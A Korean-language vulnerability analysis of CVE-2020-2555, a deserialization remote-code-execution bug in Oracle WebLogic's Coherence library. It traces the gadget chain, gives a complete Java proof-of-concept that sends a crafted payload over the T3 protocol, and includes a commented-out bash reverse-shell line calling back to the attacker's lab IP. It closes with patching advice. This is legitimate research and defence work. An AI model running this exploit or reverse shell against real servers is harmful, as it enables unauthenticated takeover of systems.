Oracle WebLogic Deserialization CVE-2020-2555_1
라온화이트햇 핵심연구팀 김동민
소개
Oracle WebLogic Deserialization (CVE-2020-2555)
4월 14일 Oracle Fusion Middleware에서 51개의 패치를 포함한 1/4분기 Critical Patch Update(CPU)를 발표하였습니다. 그러나 몇일 뒤 4월 30일 하나의 블로그를 게시하며 고객들에게 긴급패치를 권고하였습니다. 해당 취약점은 Oracle WebLogic Server에 발생한 Deserialization 취약점이며 Remote Code Execution(RCE)이 가능합니다.
Customers should apply the April 2020 Critical Patch Update without delay!
Affected Versions
10.3.6.0.0 |
12.1.3.0.0 |
12.2.1.3.0 |
12.2.1.4.0 |
Analysis
해당 취약점은 Oracle Coherence 라이브러리의 Deserialization 취약점으로, 데이터를 압축/압축해제(Serialize/Deserialize)을 악용하여 인증되지 않은 원격 공격자가 취약한 WebLogic 서버의 T3 포트에 특수하게 제작된 패킷을 요청함으로써, 원격 코드 실행이 가능합니다.
오라클 코히어런스(Oracle Coherence)는 자바 기반의 데이터 그리드 제품으로서, 데이터 캐싱, 데이터 복제, 분산 컴퓨팅 서비스를 제공한다. 코히어런스는 backing map을 사용하여 데이터베이스 이외의 스토리지에서도 안정적인 서비스를 제공할 수 있게 한다. 자바로 구현되어 있지만, 코히어런스*엑스텐드 콤포넌트를 통해서 .NET이나 C++과의 접속도 가능하다. 코히어런스 사용 패턴 중 일부는 오픈 소스이며, 오라클 코히어런스 인큐베이터를 통해 게재 및 지원되고 있다. 이러한 패턴에는 코히어런스로 WAN를 걸친 메시지 송수신, 작업 분산, 데이터 복제 기능 등이 있다. 코히어런스 제품은 본래 탱고솔(Tangosol)사가 개발하였는데, 2007년 4월에 오라클이 그 회사를 매입하였다. 현재는 오라클 퓨전 미들웨어의 컴포넌트 중 하나로 제공되고 있다.
테스트 환경
Attacker OS | Windows 10 |
Attacker IP | 172.16.9.15 |
Victim OS | Ubuntu 18.04 |
Victim IP | 192.168.201.132 |
Oracle WebLogic Version | 12.2.1.4.0 |
- 해당 취약점에 대한 패치를 보면 LimitFilter 클래스의 toString() 함수에서 extract() 메소드가 제거된 것을확인할 수 있습니다.
- 그러나 BadAttributeValueExpException의 readObject() 메소드를 통해 패치전과 동일하게 extract() 를 호출 할 수 있습니다.
- 아래 readObject()와 같이 valObj.toString() 메소드를 호출하는 것을 확인할 수 있습니다.
- readObject() in BadAttributeValueExpException.java
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString(); // <- Called toString()
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
- toString() 메소드는 아래와 같이 this.m_oAnchorTop와 this.m_oAnchorBottom를 매개변수로 전달하여 ValueExtractor.extract() 메소드를 호출하는 것을 확인할 수 있습니다.
public String toString() {
StringBuilder sb = new StringBuilder("LimitFilter: (");
sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);
if (this.m_comparator instanceof ValueExtractor) {
ValueExtractor extractor = (ValueExtractor)this.m_comparator;
sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));
} else if (this.m_comparator != null) {
sb.append(", comparator=").append(this.m_comparator);
}
sb.append("])");
return sb.toString();
}
- 또한, 위 ValueExtractor.extract() 메소드를 트리거 하기 위해 아래와 같은 extract 구현체가 호출되는 것을 확인할 수 있습니다.
- com.tangosol.util.extractor.ReflectionExtractor#extract()
public E extract(T oTarget) {
if (oTarget == null) {
return null;
} else {
Class clz = oTarget.getClass();
try {
Method method = this.m_methodPrev;
if (method == null || method.getDeclaringClass() != clz) {
this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), ClassHelper.getClassArray(this.m_aoParam), false);
}
return method.invoke(oTarget, this.m_aoParam); // <- Called invoke()
} catch (NullPointerException var4) {
throw new RuntimeException(this.suggestExtractFailureCause(clz));
} catch (Exception var5) {
throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
}
}
}
- ChainedTransformercom.tangosol.util.extractor.ChainedExtractor#extract()
@JsonbCreator
public ChainedExtractor(@JsonbProperty("extractors") ValueExtractor[] aExtractor) {
super(aExtractor);
this.m_nTarget = this.computeTarget();
}
public E extract(Object oTarget) {
ValueExtractor[] aExtractor = this.getExtractors();
int i = 0;
for(int c = aExtractor.length; i < c && oTarget != null; ++i) {
oTarget = aExtractor[i].extract(oTarget); // Called extract()
}
return oTarget;
}
따라서 이를 체이닝하여 아래와 같이 원하는 코드를 실행(RCE)할 수 있게 되었습니다.
- Runtime.getRuntime().exec(“calc”)
// Runtime.class.getRuntime()
ReflectionExtractor extractor1 = new ReflectionExtractor(
"getMethod",
new Object[]{"getRuntime", new Class[0]}
);
// get invoke() to execute exec()
ReflectionExtractor extractor2 = new ReflectionExtractor(
"invoke",
new Object[]{null, new Object[0]}
);
// invoke("exec","calc")
ReflectionExtractor extractor3 = new ReflectionExtractor(
"exec",
new Object[]{new String[]{"calc"}}
);
ReflectionExtractor[] extractors = {
extractor1,
extractor2,
extractor3,
};
ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);
- 위 단계를 순서대로 나열하면 아래와 같이 나타낼 수 있습니다.
- BadAttributeValueExpException.readObject()
- com.tangosol.util.filter.LimitFilter.toString() - extract() 호출(chainedExtractor Reflection 및 limitFilter 객체 할당)
- com.tangosol.util.extractor.ChainedExtractor.extract() - Loop(3)
- com.tangosol.util.extractor.ReflectionExtractor.extract() - [getMethod(“getRuntime”), invoke(), exec(“calc”)]
- Method.invoke() …
- Runtime.getRuntime.exec()
Expanded attack surface: Oracle Business Intelligence
- 또한 앞서 언급했듰이, 해당 취약점은 Coherence library에서 발생하기 때문에 해당 라이브러리를 사용하는 웹 어플리케이션 서버(WebLogic, Glassfish, Hibernate, Spring 등) 및 내장된 어플리케이션에서도 발생할 수 있기 때문에 공격 가능한 범위가 확장 되었습니다.
Exploit
- CVE-2020-2555 PoC
package com.supeream;
// com.supeream from https://github.com/5up3rc/weblogic_cmd/
// com.tangosol.util.extractor.ChainedExtractor from coherence.jar
import com.supeream.serial.Serializables;
import com.supeream.weblogic.T3ProtocolOperation;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
/*
* author:Y4er.com
*
* gadget:
* BadAttributeValueExpException.readObject()
* com.tangosol.util.filter.LimitFilter.toString()
* com.tangosol.util.extractor.ChainedExtractor.extract()
* com.tangosol.util.extractor.ReflectionExtractor.extract()
* Method.invoke()
* ...
* Runtime.getRuntime.exec()
*/
public class CVE_2020_2555 {
public static void main(String[] args) throws Exception {
// Runtime.class.getRuntime()
ReflectionExtractor extractor1 = new ReflectionExtractor(
"getMethod",
new Object[]{"getRuntime", new Class[0]}
);
// get invoke() to execute exec()
ReflectionExtractor extractor2 = new ReflectionExtractor(
"invoke",
new Object[]{null, new Object[0]}
);
// invoke("exec","calc")
ReflectionExtractor extractor3 = new ReflectionExtractor(
"exec",
new Object[]{new String[]{"galculator"}}
// new Object[]{new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/172.16.9.15/1004 0>&1"}}
);
ReflectionExtractor[] extractors = {
extractor1,
extractor2,
extractor3,
};
ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);
LimitFilter limitFilter = new LimitFilter();
//m_comparator
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);
//m_oAnchorTop
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);
// BadAttributeValueExpException toString()
// This only works in JDK 8u76 and WITHOUT a security manager
// https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);
// serialize
byte[] payload = Serializables.serialize(badAttributeValueExpException);
// T3 send, you can also use python script. weblogic_t3.py
T3ProtocolOperation.send("192.168.201.132", "7001", payload);
// test
serialize(badAttributeValueExpException);
// deserialize();
}
public static void serialize(Object obj) {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void deserialize() {
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
- 결과
대응방안
- 최신버전으로 업데이트
Oracle Critical Patch Update Advisory - January 2020
- Oracle WebLogic Server T3 / T3S 프로토콜 트래픽 제한 (임시방안)
Reference
- https://y4er.com/post/weblogic-cve-2020-2555/
- https://sec.vnpt.vn/2020/03/the-art-of-deserialization-gadget-hunting-part-3/
- https://www.zerodayinitiative.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server
- https://alvinalexander.com/java/jwarehouse/openjdk-8/jdk/src/share/classes/javax/management/BadAttributeValueExpException.java.shtml
- https://github.com/Y4er/CVE-2020-2555